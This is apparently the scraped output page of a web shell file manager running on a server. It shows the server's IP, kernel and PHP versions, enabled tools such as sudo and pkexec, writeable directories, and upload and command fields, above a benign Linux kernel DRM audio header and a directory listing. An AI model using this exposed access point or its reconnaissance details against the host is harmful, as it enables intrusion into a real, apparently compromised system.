p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/drm/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/drm/drm_audio_component.h
// SPDX-License-Identifier: MIT
// Copyright © 2014 Intel Corporation

#ifndef _DRM_AUDIO_COMPONENT_H_
#define _DRM_AUDIO_COMPONENT_H_

struct drm_audio_component;

/**
 * struct drm_audio_component_ops - Ops implemented by DRM driver, called by hda driver
 */
struct drm_audio_component_ops {
	/**
	 * @owner: drm module to pin down
	 */
	struct module *owner;
	/**
	 * @get_power: get the POWER_DOMAIN_AUDIO power well
	 *
	 * Request the power well to be turned on.
	 */
	void (*get_power)(struct device *);
	/**
	 * @put_power: put the POWER_DOMAIN_AUDIO power well
	 *
	 * Allow the power well to be turned off.
	 */
	void (*put_power)(struct device *);
	/**
	 * @codec_wake_override: Enable/disable codec wake signal
	 */
	void (*codec_wake_override)(struct device *, bool enable);
	/**
	 * @get_cdclk_freq: Get the Core Display Clock in kHz
	 */
	int (*get_cdclk_freq)(struct device *);
	/**
	 * @sync_audio_rate: set n/cts based on the sample rate
	 *
	 * Called from audio driver. After audio driver sets the
	 * sample rate, it will call this function to set n/cts
	 */
	int (*sync_audio_rate)(struct device *, int port, int pipe, int rate);
	/**
	 * @get_eld: fill the audio state and ELD bytes for the given port
	 *
	 * Called from audio driver to get the HDMI/DP audio state of the given
	 * digital port, and also fetch ELD bytes to the given pointer.
	 *
	 * It returns the byte size of the original ELD (not the actually
	 * copied size), zero for an invalid ELD, or a negative error code.
	 *
	 * Note that the returned size may be over @max_bytes.  Then it
	 * implies that only a part of ELD has been copied to the buffer.
	 */
	int (*get_eld)(struct device *, int port, int pipe, bool *enabled,
		       unsigned char *buf, int max_bytes);
};

/**
 * struct drm_audio_component_audio_ops - Ops implemented by hda driver, called by DRM driver
 */
struct drm_audio_component_audio_ops {
	/**
	 * @audio_ptr: Pointer to be used in call to pin_eld_notify
	 */
	void *audio_ptr;
	/**
	 * @pin_eld_notify: Notify the HDA driver that pin sense and/or ELD information has changed
	 *
	 * Called when the DRM driver has set up audio pipeline or has just
	 * begun to tear it down. This allows the HDA driver to update its
	 * status accordingly (even when the HDA controller is in power save
	 * mode).
	 */
	void (*pin_eld_notify)(void *audio_ptr, int port, int pipe);
	/**
	 * @pin2port: Check and convert from pin node to port number
	 *
	 * Called by HDA driver to check and convert from the pin widget node
	 * number to a port number in the graphics side.
	 */
	int (*pin2port)(void *audio_ptr, int pin);
	/**
	 * @master_bind: (Optional) component master bind callback
	 *
	 * Called at binding master component, for HDA codec-specific
	 * handling of dynamic binding.
	 */
	int (*master_bind)(struct device *dev, struct drm_audio_component *);
	/**
	 * @master_unbind: (Optional) component master unbind callback
	 *
	 * Called at unbinding master component, for HDA codec-specific
	 * handling of dynamic unbinding.
	 */
	void (*master_unbind)(struct device *dev, struct drm_audio_component *);
};

/**
 * struct drm_audio_component - Used for direct communication between DRM and hda drivers
 */
struct drm_audio_component {
	/**
	 * @dev: DRM device, used as parameter for ops
	 */
	struct device *dev;
	/**
	 * @ops: Ops implemented by DRM driver, called by hda driver
	 */
	const struct drm_audio_component_ops *ops;
	/**
	 * @audio_ops: Ops implemented by hda driver, called by DRM driver
	 */
	const struct drm_audio_component_audio_ops *audio_ops;
};

#endif /* _DRM_AUDIO_COMPONENT_H_ */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
bridge
--
January 19 2024 08:12:50
0 / 0
0755
i2c
--
January 19 2024 08:12:50
0 / 0
0755
ttm
--
January 19 2024 08:12:50
0 / 0
0755
amd_asic_type.h
1.585 KB
November 06 2023 09:15:52
0 / 0
0644
ati_pcigart.h
0.714 KB
November 06 2023 09:15:52
0 / 0
0644
drmP.h
3.393 KB
November 06 2023 09:15:52
0 / 0
0644
drm_agpsupport.h
3.814 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic.h
32.294 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_helper.h
9.297 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_state_helper.h
3.153 KB
November 06 2023 09:15:52
0 / 0
0644
drm_atomic_uapi.h
2.166 KB
November 06 2023 09:15:52
0 / 0
0644
drm_audio_component.h
3.533 KB
November 06 2023 09:15:52
0 / 0
0644
drm_auth.h
3.396 KB
November 06 2023 09:15:52
0 / 0
0644
drm_backport.h
10.174 KB
November 06 2023 09:15:52
0 / 0
0644
drm_blend.h
2.351 KB
November 06 2023 09:15:52
0 / 0
0644
drm_bridge.h
11.726 KB
November 06 2023 09:15:52
0 / 0
0644
drm_cache.h
2.843 KB
November 06 2023 09:15:52
0 / 0
0644
drm_client.h
2.799 KB
November 06 2023 09:15:52
0 / 0
0644
drm_color_mgmt.h
2.364 KB
November 06 2023 09:15:52
0 / 0
0644
drm_connector.h
43.663 KB
November 06 2023 09:15:52
0 / 0
0644
drm_crtc.h
39.406 KB
November 06 2023 09:15:52
0 / 0
0644
drm_crtc_helper.h
2.978 KB
November 06 2023 09:15:52
0 / 0
0644
drm_damage_helper.h
3.827 KB
November 06 2023 09:15:52
0 / 0
0644
drm_debugfs.h
3.358 KB
November 06 2023 09:15:52
0 / 0
0644
drm_debugfs_crc.h
2.659 KB
November 06 2023 09:15:52
0 / 0
0644
drm_device.h
6.156 KB
November 06 2023 09:15:52
0 / 0
0644
drm_displayid.h
2.783 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_dual_mode_helper.h
4.426 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_helper.h
53.182 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dp_mst_helper.h
16.713 KB
November 06 2023 09:15:52
0 / 0
0644
drm_drv.h
21.855 KB
November 06 2023 09:15:52
0 / 0
0644
drm_dsc.h
13.993 KB
November 06 2023 09:15:52
0 / 0
0644
drm_edid.h
15.09 KB
November 06 2023 09:15:52
0 / 0
0644
drm_encoder.h
8.471 KB
November 06 2023 09:15:52
0 / 0
0644
drm_encoder_slave.h
6.457 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fb_cma_helper.h
1.093 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fb_helper.h
18.467 KB
November 06 2023 09:15:52
0 / 0
0644
drm_file.h
10.608 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fixed.h
4.712 KB
November 06 2023 09:15:52
0 / 0
0644
drm_flip_work.h
3.008 KB
November 06 2023 09:15:52
0 / 0
0644
drm_fourcc.h
5.93 KB
November 06 2023 09:15:52
0 / 0
0644
drm_framebuffer.h
9.382 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem.h
10.829 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem_cma_helper.h
4.396 KB
November 06 2023 09:15:52
0 / 0
0644
drm_gem_framebuffer_helper.h
1.335 KB
November 06 2023 09:15:52
0 / 0
0644
drm_hashtab.h
3.011 KB
November 06 2023 09:15:52
0 / 0
0644
drm_hdcp.h
7.163 KB
November 06 2023 09:15:52
0 / 0
0644
drm_ioctl.h
6.065 KB
November 06 2023 09:15:52
0 / 0
0644
drm_irq.h
1.292 KB
November 06 2023 09:15:52
0 / 0
0644
drm_lease.h
1.432 KB
November 06 2023 09:15:52
0 / 0
0644
drm_legacy.h
6.77 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mipi_dsi.h
10.459 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mm.h
17.377 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mode_config.h
29.939 KB
November 06 2023 09:15:52
0 / 0
0644
drm_mode_object.h
5.17 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modes.h
18.52 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_helper.h
1.688 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_helper_vtables.h
48.672 KB
November 06 2023 09:15:52
0 / 0
0644
drm_modeset_lock.h
6.38 KB
November 06 2023 09:15:52
0 / 0
0644
drm_of.h
3.367 KB
November 06 2023 09:15:52
0 / 0
0644
drm_os_linux.h
2.043 KB
November 06 2023 09:15:52
0 / 0
0644
drm_panel.h
7.082 KB
November 06 2023 09:15:52
0 / 0
0644
drm_pci.h
2.226 KB
November 06 2023 09:15:52
0 / 0
0644
drm_pciids.h
66.475 KB
November 06 2023 09:15:52
0 / 0
0644
drm_plane.h
26.25 KB
November 06 2023 09:15:52
0 / 0
0644
drm_plane_helper.h
1.745 KB
November 06 2023 09:15:52
0 / 0
0644
drm_prime.h
3.79 KB
November 06 2023 09:15:52
0 / 0
0644
drm_print.h
12.398 KB
November 06 2023 09:15:52
0 / 0
0644
drm_property.h
11.494 KB
November 06 2023 09:15:52
0 / 0
0644
drm_rect.h
5.845 KB
November 06 2023 09:15:52
0 / 0
0644
drm_scdc_helper.h
4.338 KB
November 06 2023 09:15:52
0 / 0
0644
drm_simple_kms_helper.h
6.041 KB
November 06 2023 09:15:52
0 / 0
0644
drm_syncobj.h
4.284 KB
November 06 2023 09:15:52
0 / 0
0644
drm_sysfs.h
0.28 KB
November 06 2023 09:15:52
0 / 0
0644
drm_util.h
1.355 KB
November 06 2023 09:15:52
0 / 0
0644
drm_utils.h
0.405 KB
November 06 2023 09:15:52
0 / 0
0644
drm_vblank.h
6.684 KB
November 06 2023 09:15:52
0 / 0
0644
drm_vma_manager.h
7.654 KB
November 06 2023 09:15:52
0 / 0
0644
drm_writeback.h
3.423 KB
November 06 2023 09:15:52
0 / 0
0644
gma_drm.h
1.009 KB
November 06 2023 09:15:52
0 / 0
0644
gpu_scheduler.h
12.498 KB
November 06 2023 09:15:52
0 / 0
0644
i915_component.h
1.685 KB
November 06 2023 09:15:52
0 / 0
0644
i915_drm.h
3.638 KB
November 06 2023 09:15:52
0 / 0
0644
i915_pciids.h
16.013 KB
November 06 2023 09:15:52
0 / 0
0644
intel-gtt.h
0.953 KB
November 06 2023 09:15:52
0 / 0
0644
intel_lpe_audio.h
1.717 KB
November 06 2023 09:15:52
0 / 0
0644
spsc_queue.h
3.058 KB
November 06 2023 09:15:52
0 / 0
0644